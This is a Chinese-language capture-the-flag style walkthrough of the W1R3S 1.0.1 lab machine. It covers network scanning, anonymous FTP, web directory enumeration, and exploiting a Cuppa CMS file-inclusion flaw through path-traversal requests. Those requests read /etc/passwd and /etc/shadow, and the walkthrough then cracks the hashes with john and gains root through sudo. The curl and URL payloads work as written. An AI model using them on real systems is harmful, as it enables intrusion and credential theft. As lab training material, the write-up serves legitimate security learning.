W1R3S: 1.0.1
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.249
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.249
各服务详细分析与攻击面
1 FTP 服务 (端口21)
- 匿名登录:允许匿名访问,存在敏感目录:
- content、docs、new-employees。
行动建议:
- 使用ftp 192.168.23.249匿名登录(用户:anonymous,密码为空)。
- 下载所有目录中的文件,检查是否有配置文件(如config.php)、数据库备份、员工信息等。
- 查找隐藏文件(如.htpasswd)或SSH私钥。
vsftpd 3.0.3:当前版本无已知严重漏洞(CVE-2011-2523后门漏洞仅影响2.3.4)。
2 HTTP 服务 (端口80)
默认页面:Apache默认页,需进一步枚举目录。
行动建议:
- 使用gobuster或dirsearch爆破目录(如/admin、/login、/backup)。
- 检查子域名或虚拟主机(Host: W1R3S.inc)。
- 查找敏感文件(robots.txt、phpinfo.php、.git泄露)。
漏洞可能性:
- 若存在Web应用(如CMS),可能存在SQL注入、文件上传等漏洞。
- Apache 2.4.18需检查配置错误(如目录遍历、启用危险模块)。
3 SSH 服务 (端口22)
OpenSSH 7.2p2:无已知高危漏洞(如CVE-2016-6210用户枚举需特定条件)。
攻击面:
- 暴力破解(若从其他服务获取用户名/密码)。
- 检查SSH密钥泄露(如从FTP或Web目录获取私钥)。
4 MySQL 服务 (端口3306)
未授权访问:需有效凭据连接。
行动建议:
- 从FTP/Web文件中查找数据库配置(用户/密码)。
- 尝试默认凭证(如root:root、admin:admin)。
- 利用Web应用的SQL注入获取数据库访问权。
4,匿名访问一下ftp服务器 anonymous
信息收集一下
dir
cd content
get 01.txt
get 02.txt
get 03.txt
cd docs
get worktodo.txt
cd new-employees
dir
get employee-names.txt
只是一些零散的信息收集
5,尝试访问80端口的http服务
尝试扫描其网站子目录
dirsearch -u http://192.168.23.249 -x 403,404,301
访问一下这个网页 http://192.168.23.249/wordpress/wp-login.php
对网站进行指纹目录扫描
whatweb -v http://192.168.23.249/wordpress/wp-login.php
6,再查看一下另一个子目录是啥情况,网站子目录如下
dirsearch -u http://192.168.23.249/administrator/ -x 403,404,301
http://192.168.23.249/administrator/installation/
算是一个CMS,看一下做什么的
安装失败,收集一下这个CMS会存在的版本漏洞
searchsploit cuppa
查看一下漏洞利用exp
searchsploit -m 25971.txt
Cuppa CMS核心特性与功能
Cuppa CMS 是一款开源的内容管理系统(CMS),旨在为用户提供简单易用的网站创建和管理功能。Cuppa CMS 的设计注重灵活性和易用性,主要特点包括:
- 开源免费:用户可自由下载、修改和分发代码,适合二次开发1。
- 模块化架构:支持按需启用功能模块,扩展性强1。
- 多语言与响应式设计:支持国际化适配,并确保网站在不同设备上的兼容性1。
- SEO优化:内置基础搜索引擎优化功能,提升内容收录效率1。
- 用户权限管理:提供角色分级,管理员可精细化控制访问权限1。
其功能涵盖内容管理、模板系统、数据备份与恢复等,适用于企业官网、个人博客及电商平台等多种场景
7,尝试漏洞利用
1. 漏洞原理与定位
Cuppa CMS的/alerts/alertConfigField.php文件中,第22行代码未对用户输入的urlConfig参数进行过滤,直接通过include($_REQUEST["urlConfig"])包含文件。攻击者可通过此参数注入任意本地或远程文件路径,导致以下风险:
- 本地文件包含(LFI):读取服务器敏感文件(如/etc/passwd、数据库配置文件等)。
- 远程文件包含(RFI):执行远程恶意脚本(需allow_url_include开启)。
- PHP代码执行:包含PHP文件时直接解析执行16。
2. 漏洞利用步骤
(1)本地文件读取
目标:获取服务器敏感信息(如配置文件、密码文件)。
示例请求:
# 读取Linux系统/etc/passwd
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
# 读取Windows系统文件(需调整路径格式)
http://target/cuppa/alerts/alertConfigField.php?urlConfig=..\..\..\..\..\Windows\win.ini
# 使用PHP伪协议读取源码(Base64编码避免执行)
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
操作说明:
- 解码Base64输出获取明文配置(如数据库用户名、密码)。
- 结合路径遍历(../)尝试读取其他敏感文件(如shadow、php.ini)36。
没有任何回显,需要进行绕过处理
curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.23.249/administrator/alerts/alertConfigField.php
漏洞漏洞利用成功,再读取一下记载着密码的敏感文件
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.23.249/administrator/alerts/alertConfigField.php
成功找到了密码的hash结果,再shadow文件中,有三个账号有密码,分别是root,www-data和w1r3s
7,讲hash值保存进一个文件,使用john进行解密
john hash
得到了两个账户密码,使用computer在ssh上面上线w1r3s用户
ssh w1r3s@192.168.23.249
信息收集一下
uname -a
lsb_release -a
查看一下具有什么sudo权限,发现具有所有权限
sudo -l
直接使用sudo权限开启一个shell
sudo /bin/bash
提权成功,并且得到flag